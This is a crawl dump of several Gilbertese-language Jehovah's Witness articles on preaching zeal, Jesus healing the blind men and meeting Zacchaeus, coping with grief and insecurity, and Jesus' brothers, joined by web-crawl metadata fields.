teutana n te bwai ae ko ongoraea n tain te botaki? N tabetai, ko kona n aki toa ma te tia uarongorongo are e katoatai ni katoako. Ko ataia bwa e kangaa n ataa te koaua? E kangaa ni kakoauaa bwa bon aei ana botaki Iehova? Baikara kakabwaia ke baike e a tia n rinanoi? Tao ko kona n taekin tabeua baike ko a tia n rinanoi. E ngae ngke tera ae a taekinna aomata, ma e karekea te anga ae raoiroi te toa ma temanna n te mwakuri ni minita bwa a 'na kateimatoaaki' iai.—1 Tet. 5:11.\nKATEIMATOAA AM KAETIETI AE—RAOIROI IBUKIN TE UKEUKE N REIREI\nE kakawaki karikirakean ao iriran am kaetieti ae raoiroi ibukin te ukeuke n reirei, bwa e kateimatoaa iai ingaingam n te mwakuri ni minita. E katauraoi kaongora aika kakaokoro \"te toro ae kakaonimaki ma ni wanawana.\" (Mat. 24:45) Ngaia are a rangi ni kakaokoro kaongora ake ko kona n reiakin ibukin amwarake n taamnei. Ti na iangoa te katoto n te reirei teuana ae tamaroa ibukin am ukeuke n reirei: Bukin tera bwa e rangi ni kakawaki uarongorongoan te Tautaeka n Uea? E na kaotaki bukina tabeua n te bwaoki ae raon te kaongora aei.\nIangoi baika kakawaki aika n te bwaoki ake a kona ni kateimatoaa ingaingam n uarongorongo. E aera ko aki kateia bwa tiam te ukeuke n reirei i bon iroum ao ni korei bukina riki tabeua? Imwina, kananoa am iango iai n ikotaki ma kiibu aika boutokaaki iai. Akea te nanokokoraki bwa ni karaoan aei, e a kakorakoraaki iai ingaingam n am mwakuri ni minita.\nTAURAOI NI BUTIMWAEI REIREI N IBUOBUOKI\nTi buokaki n ana botaki Iehova are katoatai ni katauraoi reirei n ibuobuoki ibukini kanakoraoan ara mwakuri ni minita. N te katoto, irarikin ara mwakuri ni minita man te auti teuana ma teuana, ti kona n uataboa te rongorongo ae raoiroi n taabo ake aki baireaki tao n te reta, te tareboon, i rarikini kawai ke n ana tabo te botannaomata ao taabo ni bitineti. Ti kona naba ni bairei ara kaetieti bwa ti aonga ni uarongorongo n aono ake e burenibwai mwakuriaia.\nKo tauraoi ni butimwaei reirei aikai? Ko a tia ni katai tabeua mai iai? A bati ake a tia ni karaoi ao a nori mwina aika kakukurei. Iangoi katoto aika tenua.\nE irekereke te moan ma te bwai ae e a tia n taekinaki n te kaongora teuana n Ara Mwakuri ni Minita n aroni moanakin te reirei man te Baibara. E kaungaaki iai te tari te aine ae April bwa e na waakina aei ma raona ni mwakuri aika teniman. E mimi ao e kukurei ngke a butimwaea te kan reirei ao a moanna naba n iriri bobotaki n te ekaretia.\nE kaineti te kauoua ni katoto ma nikiran ara maekatin. Ti kaungaaki iai bwa ti na ukeriia ake a kan ongoraei kaongora aika onoti n ara maekatin. E ribootinna te mataniwi n te aono ae uarereke n te United States bwa e anga te Awake! ibukin rabwani kaa nakoia manatia n titooa ni kabane ake n te aono anne. A nikiri ngaia ma buuna katoton te maekatin ae \"Understanding Your Doctor\" n aia aobiti taokita aika e raka i aon 100 mwaitiia n te aono anne. E taku teuaei: \"A bongana kawaran aono akanne bwa ti kabwarabwaraira iai n ikotaki naba ma ara boki. Imwin ara itamwaomwao ma kaaina, e a nakoraoi riki te reitaki ma ngaiia.\"\nE irekereke te katenua ni katoto ma te uarongorongo n te tareboon. E kororeta te tari te aine ae Judy nakoni kautun ara etekuata ni kakaitau ibukin te kaungaunga ni kamanenaan te tareboon n te uarongorongo. E ribootinna te tina ae 86 ana ririki are bati aorakin rabwatana bwa e katoatai ni kakaraoa te beku ae tabu aei, ao e bati kimwareireina ni kairan te reirei n te Baibara n te tareboon ma te aine ae 92 ana ririki.\nA rangi n uaana reirei n ibuobuoki ibukin te uarongorongo ake a taekinaki n ara boki. Ngaia are kabonganai! A kona ni buokiko ni kateimatoaa kukureim ao ingaingam n am mwakuri ni minita.\nKATEI TIIA AIKA RAOIROI\nE aki rangi ni kakawaki bwa e na taraaki nakoraoin ara mwakuri n uarongorongo ni mwaitini booki ake ti tibwai, mwaitin ara reirei n te Baibara ke mwaitiia aika ti buokiia bwa a na riki bwa ana toro Iehova. E ngae n anne, iraman ake e buokiia Noa aika tiaki kaain ana utu ni kaan bwa a na riki bwa taan taromauria Iehova? Ni koauana bon te tia uarongorongo ae nakoraoi ana mwakuri. E mataata ngkanne bwa e kakawaki ae ti riai ni beku ma te kakaonimaki ibukin Iehova.—1 Kor. 4:2.\nA bati taan uarongorongoa te Tautaeka n Uea ake a kunea bwa ngkana a na karikirakea ingaingaia n te mwakuri aei, a riai ni katei tiia aika raoiroi. Tao baikara tabeua mai iai? Iai tabeua iango aika taekinaki n te bwaoki ae raon te kaongora aei.\nUkeri aanga ake e na nakoraoi iai am beku ao n uaana man ana ibuobuoki Iehova. Ngkana ko a roko n tiam akanne, e na reke iroum te kimwareirei ao te raunnano n ataan ae ko a tia ni kabanea am konaa n tataekina te rongorongo ae raoiroi.\nN etina, e kona tataekinan te rongorongo ae raoiroi n riki bwa te kataaki. Ma iai baika ko kona ni karaoi ngkana ko na riki bwa te tia uarongorongoa te Tautaeka n Uea ae e ingainga. Uaia n ikaungaunga ma toam n uarongorongo, karikirakea ao kateimatoaa am kaetieti ae raoiroi ibukin te ukeuke n reirei, kakabonganai ana reirei n ibuobuoki te toro ae kakaonimaki ao katei tiia aika raoiroi. Ma e kakawaki riki ururingan ae e a tia te Atua n anganiko te mwioko ae rianako, ae tataekinan te rongorongo ae raoiroi ngkai ngkoe naba temanna ana tia Kakoaua. (Ita. 43:10) Ai kakimwareireira anne ngkana ko kateimatoaa ingaingam n te mwakuri ni minita!","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150215\/kateimatoaa-ingaingam-n-te-mwakuri-ni-minita\/","date":"2018-03-23T21:32:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648594.80\/warc\/CC-MAIN-20180323200519-20180323220519-00645.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1636,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.436,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E KANORAABAIA MWAANE AIKA MATAKI IESU I IERIKO\nE RAIRA NANONA TAKAIO AE TE TIA RIKOA TE TAEKITI\nA a roko i Ieriko Iesu ma raona ni mwananga ae tao tebongina iai te mwananga mai Ierutarem. Ieriko bon te kaawa ae uoua mwakorona, ae te kaawa rimoa ae tao teuana te maire raroana ma aia kaawa kaain Rom ae boou. Ngke a a otinako Iesu ma te koraki ae bati man te kaawa teuana mai buakoni kaawa aikai ao n nakon are teuana, ao a a ongo te kakarongoa mataki aika uoman aika taani bubutii. Aran temanna boni Batimea.\nNgke e ongo Batimea ma raona are e a rirarikia Iesu ao a a tatakarua ni kangai: \"Ko na nanoangaira, te Uea ae Natin Tawita!\" (Mataio 20:30) A kamatoaa bwanaaia tabeman i buakoia aomata aika bati n tuangia bwa a na aki karongoa, ma a a tatakarua riki. E tei Iesu ngke e ongo karongoaaia ao e tuangia naake raona bwa a na wetea ane e tatakarua. A kawariia taani bubutii ao a taku nakon temanna: \"Kabebetea nanom! Teirake bwa e a weteiko.\" (Mareko 10:49) E rangi ni kukurei teuare mataki ao e buuta kunnikaina are mai tinaniku ma ni kibarake ao n nakon Iesu.\nE titiraki Iesu ni kangai: \"Tera ae kam tangiria bwa N na karaoia nakoimi?\" A kaai ni bubutii mataki aikai ni kangai: \"Te Uea, kaurei matara.\" (Mataio 20:32, 33) E nanoangaiia Iesu ao e a ringi mataia ao e taku nakon temanna: \"Naako bwa e kamarurungko am onimaki.\" (Mareko 10:52) A a noraaba mataki aika uoman aikai aika taani bubutii ao a a neboa te Atua. A karaoiroa naba te Atua aomata ngke a nora te bwai are riki. A a ririmwin Iesu ngkai naake a mataki ngkoa.\nA rangi ni mwaitikurikuri aomata i rarikin Iesu ngke e a rinanon Ieriko. A a bane ni kan nora te aomata are e kanoraabaia mwaane ake a mataki. A a karibwaa Iesu aomata ni katobibia, ngaia are a aikoa kona n noria tabeman. Ao bon te koaua anne ibukin Takaio. Bon aia mataniwi taan rikoa te taekiti i Ieriko ni kabutaa. E aki kona n nori baika riki Takaio ibukini katuarerekena, ngaia are e a biri n rimoa ao e tamwarakea te kai ae te tukomorea (ke te biiku) n te kawai are e toua Iesu. E a bane n nori raoi baika riki Takaio mai eta. Ngke e a uakaan Iesu ao e nora Takaio i eta i aon te kai ao e taku: \"Takaio, bareiko ruuo, bwa I riai n tiku n am auti n te bong aei.\" (Ruka 19:5) E ruo Takaio ao e kawaekoaa n nakoni mwengana bwa e na butimwaea ana iruwa ae kakannato.\nNgke a a nora te baere e riki aomata, ao a a ngurengure. A iangoia bwa e aki eti are e a riki Iesu bwa ana iruwa te mwaane are a ataia bwa te tia bure. E boni kaubwai Takaio man ana babakanikawai n te mwane n ana tai rikoa te taekiti.\nA ngurengure aomata ngke e a roko Iesu ni mwengan Takaio ni kangai: \"E nako ni kairuwaeaki n ana auti te mwaane ae te tia bure.\" Ma Iesu e nora aron Takaio n raira nanona, ao e bon aki un iai. E teirake Takaio ao e kangai nakoina: \"Noria! Te Uea, N na angania akana maiu ni kainnano iteran au bwai nako, ao baika I a tia n anai mairouia aomata n te babakanikawai, ao N na kaokia ni kamwaitia riki aua te tai.\"—Ruka 19:7, 8.\nAi bon tamaroara te anga aei ibukin Takaio ni kaota ana rairannano ni koaua! E bae ni kona ni warebwaia mwin aia taekiti aomata bwa iraua ae e a tia ni karekea mairouia I-Iutaia aika kakaokoro, ao e berita bwa e na kaoka mwaitin aia bwai aua te tai rakana. E raka riki aei nakon ae tangiraki n ana tua te Atua. (Te Otinako 22:1; Nakoaia Ibonga 6:2-5) Irarikin anne, e berita Takaio bwa e na angania akana maiu ni kainnano iterani kaubwaina.\nE kukurei Iesu ni kaotan ana rairannano Takaio aei ao e taku nakoina: \"E a roko te kamaiuaki n te auti aei n te bong aei, ibukina bwa natin naba Aberaam teuaei. Bwa e roko Natin te aomata bwa e na ukoukora ae bua ma ni kamaiua.\"—Ruka 19:9, 10.\nN taai aika tibwa nako, ao e boni kaatuua ana iango Iesu i aon ae e 'bua' n ana kaikonaki ibukin te nati ae bua. (Ruka 15:11-24) Ao ngkai e a manga anga te katoto ibukini maiun temanna are e bua ma e a manga kuneaki. A kona mataniwin Aaro ao aia aomata ni ngurengure ibukin Iesu ao ni kabuakakaa ngkana e tabeakinia aomata aika ai aron Takaio. Ma e bon teimatoa naba Iesu n ukeriia natin Aberaam ake a bua ao ni manga kaokiia.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-mainikun-ioretan\/kanoraabaia-mwaane-aika-mataki-buoka-takaio\/","date":"2018-04-24T03:56:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946453.89\/warc\/CC-MAIN-20180424022317-20180424042317-00586.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":793,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A rangi ni bati taeka n reirei ni kaineti ma aei. Ma a aki bane n ibuobuoki. N te katoto, tao iai tabeman aika kona ni kaungako bwa ko na aki taatang ke ni kaota am namakin naba teutana. Tabemwaang a kona ni kairoroko bwa ko na karaoa kaitaraan raoi anne, ma ni bunra raoi nanom. Ma iai ana reirei te Baibara i aon aei ae aki tabeitera, ao e boraoi ma mwini kakaae ni boong aikai.\nNi katei tabeua, e iangoaki te mwaane ae taatang bwa tiaki te oi ni mwaane. Ma e kamaamaa te tang, ao riki i mataia aomata? A kakoauaa taan rabakau i aoni marurungin te iango bwa te tang bon irian te nanokawaki ae korakora. N tabetai e kona te tang ni buokiko ni katoka nanokawakim ae korakora. Ma bon akea raoiroini kainan tangim, ao e kona ni karuanikai riki. Ma te Baibara e bon aki boutokaa te iango ae e kairua ke tiaki anuan te mwaane te tang ibukin te nanokawaki. N te katoto, iangoa aron Iesu. E tang naba Iesu ni maten raoraona ae tatangiria are Rataro, e ngae ngke iai mwaakana ni kautia!\nTe un bon irian te nanokawaki n angiin te tai, moarara riki ngkana te mate ae karina ke e aki kantaningaaki. A bati bukina ae e kona iai n un te aomata ae nanokawaki, n aron ae ngkana a taekinaki taeka aika aki iangoaki ao aika kairua ni kaineti ma te aomata are mate. E taku te mwaane ae kaain Aberika Maiaki ae arana Mike: \"Ai tibwa 14 au ririki ngke e mate tamau. N tain te taunimate ao e taekinna te mitinare n te Aro ae te Anglican bwa e kainnanoia aomata aika raoiroi te Atua ngaia are e moantaai n anaiia. * E rangi ni kaunai te taeka arei ibukina bwa ti rangi ni kainnanoa tamara. Ai 63 ngkai te ririki imwina, ao e teimatoa naba ni kammaraki ururingana.\"\nAo tera aron te uringaaba? Ni kaineti riki ma te mate ae aki kantaningaaki, e kona te aomata ae nanokawaki n okioki n iango ni kangai, 'E na bon aki mate ngke arona bwa I karaoa aei.' Ke tao ko kauntaeka ma te aomata are mate, n am kabanea n tai ni boo ma ngaia. E kona aei ni kauaataoa riki uringaabam.\nNgkana ko taonakinako n namakin aika te uringaaba ao te un, e kakawaki bwa ko na aki kainna i nanom. Ma bunria nakon raoraom ae kona n ongoraeakinna ma ni karaua nanom, bwa namakin akanne bon irian te nanokawaki. E kauringira te Baibara ni kangai: \"E tangira te aomata raona n te bong ae koraki, ao e bungiaki te tari ba katokani kain tarina.\"\nE kona n riki bwa Raoraon te aomata ae nanokawaki, ara tia Karikiriki ae Iehova ae Atuara. Bunra nanom nakoina rinanon te tataro ibukina bwa 'e mumutiakiniko.' (1 Betero 5:7) E beritanna naba bwa naake a karaoa anne, a na bane ni kabebeteaki aia iango ma aia namakin rinanon \"te rau are mairoun te Atua ae riaon aia iango aomata.\" (I-Biribi 4:\nN taai aika tibwa nako, ao iai te mwaane ae ti na aranna bwa Jack, ae 40 ana ririki, ae mate buuna man te kaentia. E taekinna Jack bwa n tabetai ao e a manga korakora irouna namakinan te maroaa. Ma e ibuobuoki nakoina te tataro. E taku teuaei: \"Ngkana I tataro nakon Iehova, ao e a toki naba namakinan te maroaa. I aki toki n uti n te tairiki ike e a kangaanga iai manga matuu. Ma ngkana I tia ni wareware ao ni kananoa au iango i aoni kibun te Baibara aika kabebetea te nano, ma ni bunra nanou n te tataro, ao I a namakina naba te kabebeteaki ao te rau ae rianako, are e toroba nanou ma au iango ao I a matu naba.\"\nE mate tinan te teinnaine temanna ae arana Vannessa, bwa e aoraki. E nora naba neiei mwaakaroiroin te tataro. E taku: \"N taai ake I taonakinako iai, I a tii taboa naba aran te Atua ma ni karokoa nanou n tang. E ongo au tataro Iehova ao e kakorakoraai n taai nako.\"\nTabeman taani buokiia aomata aika nanokawaki, a kaungaia naakai bwa a na katabetabeia ni buokiia tabemwaang ke n anga nanoia bwa a na mwakuri ibukia aomata. Karaoan anne e kona ni kakimwareirei ao ni kauarerekea nanokawakim. (Mwakuri 20:35) A bati Kristian aika rotaki n te nanokawaki ake a a tia n rangi ni kabebeteaki nanoia mani buokaia tabemwaang.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na3-2016-mei\/kekeiaki-ribuakon-nanokawakim-ae-korakora\/","date":"2018-04-20T01:34:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937090.0\/warc\/CC-MAIN-20180420003432-20180420023432-00585.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":740,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BON tii te teei ae e a tibwa bungiaki ae akea te bae kona ni karaoia ibukina. Ngke ti moani kaoti n te aonnaba aei ao e boto kamanoara tii irouia ara karo. Ngke ti moan reireinira n nakonako, ao ti kaitiboo ma aomata aika ti aki kinaia aika abwabwaki riki nakoira n aroia aintoa. Ti maakuia ma ti bon aki ngkana a kaan i rarikira ara karo. Ti namakina kamanoara ngkana ti taua bain tinara ke tamara.\nE boto marurungira ngke ti uarereke n aia tangira ma aia kaungaunga ara karo. N ataakin ae a tangirira ara karo, e a kakorakoraaki iai namakinan ae ti kamanoaki raoi. Ngkana a tuangira bwa e nakoraoi ara waaki, ti a onimakinira riki i bon iroura ao n rikirake riki.\nNgke ti a ikawai riki teutana, a a manga anganira raoraora namakinan te kamanoaki raoi. Ti namakina kamanoakira ngkana a mena i rarikira, ao e a karako riki maakakin ara tabo n reirei.\nNi koauana, e kabwarabwaraaki n iango akanne aron raoi te teei. Tii tabeman rooro n rikirake aika iai raoraoia ma a rangi ni bati ataei ake e karako boutokaaia irouia aia karo. E taku Melissa: * \"Ni katoaa te tai are I nori iai taamneia utu aika katiteuanaaki n aia mwakuri ao I taku i nanou, 'E bia kaman reke anne ngke I uarereke.'\" Tao ko namakina naba anne.\nKANGAANGA I NANONI KAIKAWAAM\nKo bae n aki onimakiniko raoi n am tai n ikawairake. Tao e karako kaotiotan tangiram ao kaungaam. Ko bae n uringa ununia am karo ike e a uruaki iai aia mare, ae te raurenako ae tao ko iangoia bwa e riki mairoum. Ke ae buakaka riki, e taetae ke n oreiko n te aro ae iowawa temanna mai buakoia am karo.\nTera aroia ataei aika aki tabeakinaki raoi? Tabeman a a kamanenai taian drugs ke a kabatiaa te moi manging ngke tebwi tabun aia ririki. Ake tabemwaang a a ira buakon te kakaeng ibukin ukoukorani mwengaraoia. A kona ataei ake tebwi tabun aia ririki ake a aki tabeakinaki raoi ni waekoa ni karekenano ibukin ukoukoran tangiraia ao akoaia. Ma a aki kona n teimaan aeka n iraorao aikai ao ngkana a a manga maenako, e a korakora riki namakinan te tabeaianga.\nA kona ataei aika tebwi tabun aia ririki ake a rarawa ni mwane ni bwaai ni kamwane aikai, n rikirake ma namakinan ae a aki rangi ni kakawaki. E taku Ana: \"I kakoauaa ae bon akea bongau kioina ngke bon anne ae e aki toki n taekinna tinau nakoiu. I uringnga bwa akea te tai ae e a tia ni kamoamoaai ke n akoai iai.\"\nE aki tii reke te tabeaianga mani kaikawaakira. Ti kona n namakina te tabeaianga imwin te buuraure ae rangi ni kammaraki, baika riki n te kara ke raraomaeakinan taraakira. E ngae ngkana tera bukin tabeaiangara, ma e boni kona n iraea kukureira ao n uruana ara iraorao ma tabemwaang. Ma tera ae ti kona ni karaoia bwa ti aonga n tokanikai i aon namakin akanne?\nE BON TABEAKINIRA TE ATUA\nTi riai n ataia bwa e boni kona n reke iroura te ibuobuoki. Bon iai temanna ae kona ni buokira ni kabane, ae te Atua ae e kani buokira.\nAio te rongorongo are e anga te Atua rinanon ana burabeti are Itaia: \"Tai kuba, ba bon Atuam Ngai: N na kakorakorako; ao N na buokiko naba; eng, N na kateimatoako n angaatain au raoiroi.\" (Itaia 41:8, 9, BG) Ai karaunanora iangoan ae e tangiria te Atua bwa e na taui baira n te aro ni kaikonaki! Ngaia are bon akea riaira n raraoma!\nIai n te Baibara rongorongoia taan taromauria te Atua ake a raraoma ma a rabakau n taua bain te Atua. E namakinna Anna are tinan Tamuera bwa akea uaana kioina ngke e kanoabo. E aki toki ni kakanikoaki ibukini kanoabona. N tokina, e aikoa rin kanan Anna ao e tang n taai nako. (1 Tamuera 1:6, 8) Ma imwini bunran rawawatana nakon te Atua, e aikoa manga nanokawaki.\nE namakina naba te tabeaianga te tia areru are Tawita n taai tabetai. I nanon ririki aika bati, ao e kataia n tiringnga te Uea are Tauro, ma e kamaiuaki man ana mwakuri teuanne ao n tabetai e a namakina ae e a bon taonakinako n ana kangaanga. (Taian Areru 55:3-5; 69:1) N aki ongea aei e a korea ae kangai: \"N na wene ma ni matu ma te rau: Ba tii Ngkoe ae Ko kamaekai raoi, Iehova.\"\nA uaia ni kaaki rawawataia Anna ma Tawita i aon Iehova ao a namakina boutokaaia. (Taian Areru 55:22) Ti na kangaa ni karaoa naba anne ni boong aikai?\nAANGA AIKA TENUA IBUKIN REKEN TE MWERAOI RIKI\n1. Karikirakea onimakina Iehova bwa kaanga Tamam.\nE kaumakira Iesu bwa ti riai n ataa Tamana bwa 'tii ngaia te Atua ae koaua.' (Ioane 17:3) E karaunanora Bauro ni kangai: \"E bon aki raroa mairoura n tatabemanira nako.\" (Mwakuri 17:27) E korea ae kangai Iakobo: \"Kaania te Atua, ao ane e na kaaningkami.\"\nN ataakin ae iai Tamara i karawa ae tangirira ao n tabeakinira, bon te mwaneka ae kakawaki bwa ti na tokanikai i aon raraomara. E koaua bwa e kainnanoaki te tai ae maan ibukini karikirakean onimakinaia aomata iroura, ma a bati aika a ataia ae e rangi n ibuobuoki karaoan anne. E taku Caroline: \"Ngke e a riki Iehova bwa Tamau, e a reke iai te aomata are I kona ni bunrii au namakin aika raba nakoina!\"\nE ururing rikaaki Rachel ma n taku: \"Bon Iehova ae buokai bwa N na mwengaraoi ngke I a tiku n tii ngai bwa ai akea au karo. I kona n taetae ma ngaia ao ni butiia bwa e na buokai n au kangaanga. Ao e boni buokai.\" *\n2. Karekeia am utu n te onimaki.\nE reireinia taan rimwina Iesu bwa a na iangoiia i marenaia bwa kaanga tariia ao mwaaneia. E tuangia ni kangai: \"Taari ngkami ni kabane.\" (Mataio 23:8) E tangiriia taan rimwina ni koaua bwa a na itangitangiri i marenaia ao n riki bwa te bwai ae kona n atongaki bwa te utu ni Kristian ae bubura.\nA kakorakoraia aia ekaretia Ana Tia Kakoaua Iehova ni kaotiota te tangira ao te kabebetenano n aron ae rereke n te utu ni Kristian ni koaua. (Ebera 10:24, 25) A bati aika noria bwa bobotaki n te ekaretia a riki bwa kaanga te bwaa ae kabebetea rawawatan aia iango ao nanokawakia.\nE ururing rikaaki Eva ma n taku: \"Iai raoraou n au ekaretia are e ota raoi ni marakiu ao rawawatau. E kakauongo raoi, e wareware nakoiu ao e tataro ma ngai. E taraia raoi bwa N na aki tiku n tii ngai. E buokai bwa N na kaotii au kangaanga ao e kabebeteai. E rabwa n ana boutoka bwa I a moanna n namakina te mwengaraoi riki.\" E reitia Rachel ni kangai: \"E a reke 'tinau ao tamau' n te ekaretia. I a bon namakinna bwa I tangiraki ao ni mwengaraoi irouia.\"\n3. Kaotiotan te tangira ao te akoi nakoia aomata.\nE karekea te iraorao ae teimaan kaotiotan te tangira ao te akoi. E taku Iesu: \"E kakukurei riki te anga nakon te anganaki.\" (Mwakuri 20:35) Ao ti aki nanokokoraki bwa ti ataia ae ngkana ti kabatiaa kaotiotan te tangira, ti na rangi n tangiraki naba. E tuangia taan rimwina Iesu ni kangai: \"Teimatoa n anganga ao ane kam na manga anganaki irouia aomata.\"\nTi a namakina te mwengaraoi riki ngkana ti kaotiota te tangira ao ngkana e kaotiotaki naba nakoira. E katereaki n te Baibara bwa \"akea kabwakan te tangira.\" (1 I-Korinto 13:8) E taku Maria: \"I ataia bwa a aki koaua au iango tabeua aika buakaka i bon ibukiu. I kainaomataaki man te aeka n iango aei rinanoni buokaia tabemwaang ike I a mwanuokina iai arou. I namakina te raunnano n taai nako ngkana I buokiia tabemwaang.\"\nTE MWENGARAOI IBUKIA AOMATA NAKO\nMwaneka ake mai eta akekei bon tiaki mwaneka aika aongkoa a mwaaka ake a kona n anganiko naba ngkekei te raunnano ae teimaan. Ma a kona ni karekea te bitaki ae korakora. E taku Caroline: \"I bon teimatoa naba n tabeaianga. Ma ngkai I a namakinna riki ae I boni bongana. I a ataia bwa e tabeakinai te Atua ao a a bati raoraou ake a karekea nakoiu namakinan te mwengaraoi.\" E namakina naba anne Rachel. E taku: \"I bon taonakinako n te nanokawaki n te tai teuana ma teuana. Ma bon iai tariu ma mwaaneu n te onimaki ake I kona n tou mwin aia taeka n reirei, ake a buokai n tarai bwaai n te aro ae riai. Ma ae kakawaki riki, e a bon reke Tamau are i karawa are I kona n taetae ma ngaia ni katoabong. E korakora te bitaki n anne.\"\nE kabwarabwaraaki rokon te waaki ae boou i aon te aba n te Baibara are ti nangi bane iai ni mwengaraoi\nIai katokan te tabeaianga ae teimaan. E kabwarabwaraaki rokon te waaki ae boou i aon te aba n te Baibara are ti nangi bane iai ni mwengaraoi. E beritanaki n Ana Taeka te Atua ni kangai: \"A na tekateka temanna i aan ana kurebe ma ana biku, ao temanna i aan ana kurebe ma ana biku; ao akea ae na kamakuia.\" (Mika 4:4, BG) A nang akea ae e na namakinna bwa e aki kamanoaki n te tai anne, ao akea naba ae na kaikoakira. Rawawatara ake a rangi ni korakora rimoa \"a na aki uringaki.\" (Itaia 65:17, 25, BG) A nang uota \"te raoiroi\" ni koaua te Atua ma Natina ae Kristo Iesu. Ike e nang reke iai \"te raoi, ao te rau n aki toki.\"","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na1-2016-tianuare\/arora-n-tokanikai-i-aon-te-tabeaianga\/","date":"2018-04-26T09:54:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948125.20\/warc\/CC-MAIN-20180426090041-20180426110041-00052.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1591,"character_repetition_ratio":0.041,"word_repetition_ratio":0.015,"special_characters_ratio":0.228,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"AIA IANGO TARINA IBUKINA\nTERA ARONI KAKAWAKIN TE BEKU IBUKIN TE TAUTAEKA N UEA?\nI nanon tabeua te tai ao e karaoa angiin ana mwakuri Iesu i Kariraia, ike e a kunea bwa e bati riki iai te kan ongora nakon are i Iutaia. Irarikin anne, ngke e mena i Ierutarem ao e kamarurunga te mwaane temanna n te bongi n Taabati ao \"e a korakora riki kani kamatean Iesu irouia I-Iutaia.\"—Ioane 5:18; 7:1.\nBon tain te aamwaitoro ngkai n 32 C.E., ao e a kaan tain te Toa ae Umwanrianna. E bukamaruaki te toa aei i nanon itibong, n taorimwiaki n te botaki ae okoro n te kawanibong. E kanikinaeaki n te toa aei tokin te ririki n ununiki, ao te tai ae bati iai te kimwareirei ao te kakaitau.\nA kaumaka Iesu tarina ake natin naba Maria aika Iakobo, Timon, Ioteba, ao Iuta ni kangai: \"Kitana ikai ao naako Iutaia.\" Ierutarem bon te kaawa ae mena iai kautun te Aro n Iutaia. E onrake te kaawa irouia te koraki n taian toa aika tenua ake a kakaraoaki ni katoa ririki. A kaota bukini kanakoana tarina ni kangai: \"Akea ae e karabaa te bwai ae e karaoia, ngkana e ukoukora te kan ataaki irouia aomata. Ngkai ko karaoi baikai, ao kaotiotiko nakon te botannaomata.\"—Ioane 7:3, 4.\nA bon \"aki onimakinna\" tarina aika aman aikai ae boni ngaia te Mesia. Ma a tangiriia naake a kaea te toa bwa a na noria ni karaoi kakai tabeua. E ataa karuanikain aei Iesu ao e tuangia ni kangai: \"Akea bukina ae a na ribaingkami iai kaain te aonnaba, ma a ribaai ibukina bwa I kaotiotii aia mwakuri aika bubuaka. Naako ngkami nakon te toa. N na aki nakon te toa ngai ngkai bwa e tuai boo au tai.\"—Ioane 7:5-8.\nTabebong imwin nakoia tarina ma taani mwananga, e a rimwi Iesu ma taan rimwina ao a karabaia mairouia aomata. A toua te kawai ae kaan riki ae rinanon Tamaria n oneani mwin are a na toua ae totouaki irouia aomata ae uakaan ma te Karaanga ae Ioretan. A na kainnanoa aia tabo i Tamaria Iesu ma taan rimwina, ngaia are e karimoaia taan uataeka bwa a na katauraoa aia tabo. E aki butimwaeaki Iesu ma raona irouia aomata n te tabo teuana ke ni kaotaki te akoi nakoia ibukina bwa e na nako Ierutarem ibukin aia toa I-Iutaia. A titiraki ma te un Iakobo ao Ioane ni kangai: \"Te Uea, ko tangiria bwa ti na tua bwa e na bwaka te ai mai karawa ni kamaunaia?\" (Ruka 9:54) E boaiia Iesu ibukin iangoan anne ao a reitaanako kawaia.\nNgke a tabe n nakonako, e a taku naba te tia koroboki temanna nakon Iesu: \"Te tia Reirei, N na iriko nako ike ko nako iai.\" E kaeka Iesu ni kangai: \"Iai bwangaia arobeke, ao iai nneia n tiku mannikiba ake i annang, ma akea nnen Natin te aomata ae e na kawenea atuna iai.\" (Mataio 8:19, 20) E kamataataa ikai Iesu bwa e na rinanoni kangaanga te tia koroboki ngkana e riki bwa te tia rimwina. E taraa n rangi ni kamoamoa te tia koroboki aei n te aro are e a aki kariaia aei. Mangaia are ti kona n titirakinira n tatabemanira nako ni kangai: 'I tauraoi n irira Iesu?'\nE manga taku Iesu nakon te mwaane temanna: \"Ko na riki bwa te tia rimwiu.\" E kaeka teuarei ni kangai: \"Te Uea, kariaia bwa N na nako moa n tauna tamau.\" N ataakini baike a riki nakon teuaei, e a taku Iesu nakoina: \"Angania maate bwa a na taunia aia mate, ma naako ngkoe tataekina ana Tautaeka n Uea te Atua n taabo 